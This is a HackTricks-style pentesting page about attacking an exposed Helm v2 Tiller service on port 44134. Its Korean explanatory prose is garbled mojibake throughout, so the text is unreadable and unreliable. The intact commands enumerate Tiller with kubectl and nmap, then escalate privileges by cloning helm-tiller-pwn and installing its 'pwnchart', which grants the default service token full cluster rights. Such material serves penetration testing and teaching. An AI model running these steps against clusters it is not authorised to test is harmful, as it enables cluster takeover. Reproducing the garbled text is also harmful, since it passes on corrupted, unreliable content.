Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
Helm์ Kubernetes์ ํจํค์ง ๊ด๋ฆฌ์์ ๋๋ค. YAML ํ์ผ์ ํจํค์งํ๊ณ ์ด๋ฅผ ๊ณต์ฉ ๋ฐ ๊ฐ์ธ ์ ์ฅ์์ ๋ฐฐํฌํ ์ ์์ต๋๋ค. ์ด๋ฌํ ํจํค์ง๋ฅผ Helm Charts๋ผ๊ณ ํฉ๋๋ค. Tiller๋ ๊ธฐ๋ณธ์ ์ผ๋ก ํฌํธ 44134์์ ์๋น์ค๋ฅผ ์ ๊ณตํ๋ ์๋น์ค์ ๋๋ค.
๊ธฐ๋ณธ ํฌํธ: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
์ด๊ฑฐ
๋ค๋ฅธ ๋ค์์คํ์ด์ค์ pods ๋ฐ/๋๋ ์๋น์ค๋ฅผ ์ด๊ฑฐํ ์ ์๋ค๋ฉด, ์ด๋ฅผ ์ด๊ฑฐํ๊ณ ์ด๋ฆ์ โtillerโ๊ฐ ํฌํจ๋ ๊ฒ์ ๊ฒ์ํ์ญ์์ค:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
์์:
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
์ด ์๋น์ค๋ฅผ ์ฐพ์ผ๋ ค๋ฉด ํฌํธ 44134๋ฅผ ํ์ธํด ๋ณด์ธ์:
sudo nmap -sS -p 44134 <IP>
ํ ๋ฒ ๋ฐ๊ฒฌํ๋ฉด ํด๋ผ์ด์ธํธ ํฌ๋ฆ ์ ํ๋ฆฌ์ผ์ด์
์ ๋ค์ด๋ก๋ํ์ฌ ํต์ ํ ์ ์์ต๋๋ค. homebrew์ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๊ฑฐ๋ ๊ณต์ ๋ฆด๋ฆฌ์ค ํ์ด์ง๋ฅผ ํ์ธํ ์ ์์ต๋๋ค. ๋ ๋ง์ ์ธ๋ถ์ ๋ณด๋ ๋ค๋ฅธ ์ต์
์ ์ค์น ๊ฐ์ด๋๋ฅผ ์ฐธ์กฐํ์ธ์.
๊ทธ๋ฐ ๋ค์ ์๋น์ค๋ฅผ ์ด๊ฑฐํ ์ ์์ต๋๋ค:
helm --host tiller-deploy.kube-system:44134 version
๊ถํ ์์น
๊ธฐ๋ณธ์ ์ผ๋ก Helm2๋ kube-system ๋ค์์คํ์ด์ค์ ๋์ ๊ถํ์ผ๋ก ์ค์น๋์์ผ๋ฏ๋ก, ์๋น์ค๋ฅผ ์ฐพ๊ณ ์ด์ ์ ๊ทผํ ์ ์๋ค๋ฉด ๊ถํ์ ์์น์ํฌ ์ ์์ต๋๋ค.
๋น์ ์ด ํด์ผ ํ ์ผ์ ๋ค์๊ณผ ๊ฐ์ ํจํค์ง๋ฅผ ์ค์นํ๋ ๊ฒ์ ๋๋ค: https://github.com/Ruil1n/helm-tiller-pwn ์ด๋ ๊ธฐ๋ณธ ์๋น์ค ํ ํฐ์ด ์ ์ฒด ํด๋ฌ์คํฐ์ ๋ชจ๋ ๊ฒ์ ์ ๊ทผํ ์ ์๋๋ก ํด์ค๋๋ค.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
http://rui0.cn/archives/1573์์ ๊ณต๊ฒฉ์ ๋ํ ์ค๋ช ์ ํ์ธํ ์ ์์ง๋ง, ๊ธฐ๋ณธ์ ์ผ๋ก helm-tiller-pwn/pwnchart/templates/ ๋ด์ clusterrole.yaml ๋ฐ clusterrolebinding.yaml ํ์ผ์ ์ฝ์ด๋ณด๋ฉด ๋ชจ๋ ๊ถํ์ด ๊ธฐ๋ณธ ํ ํฐ์ ๋ถ์ฌ๋๋ ๋ฐฉ์์ ํ์ธํ ์ ์์ต๋๋ค.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


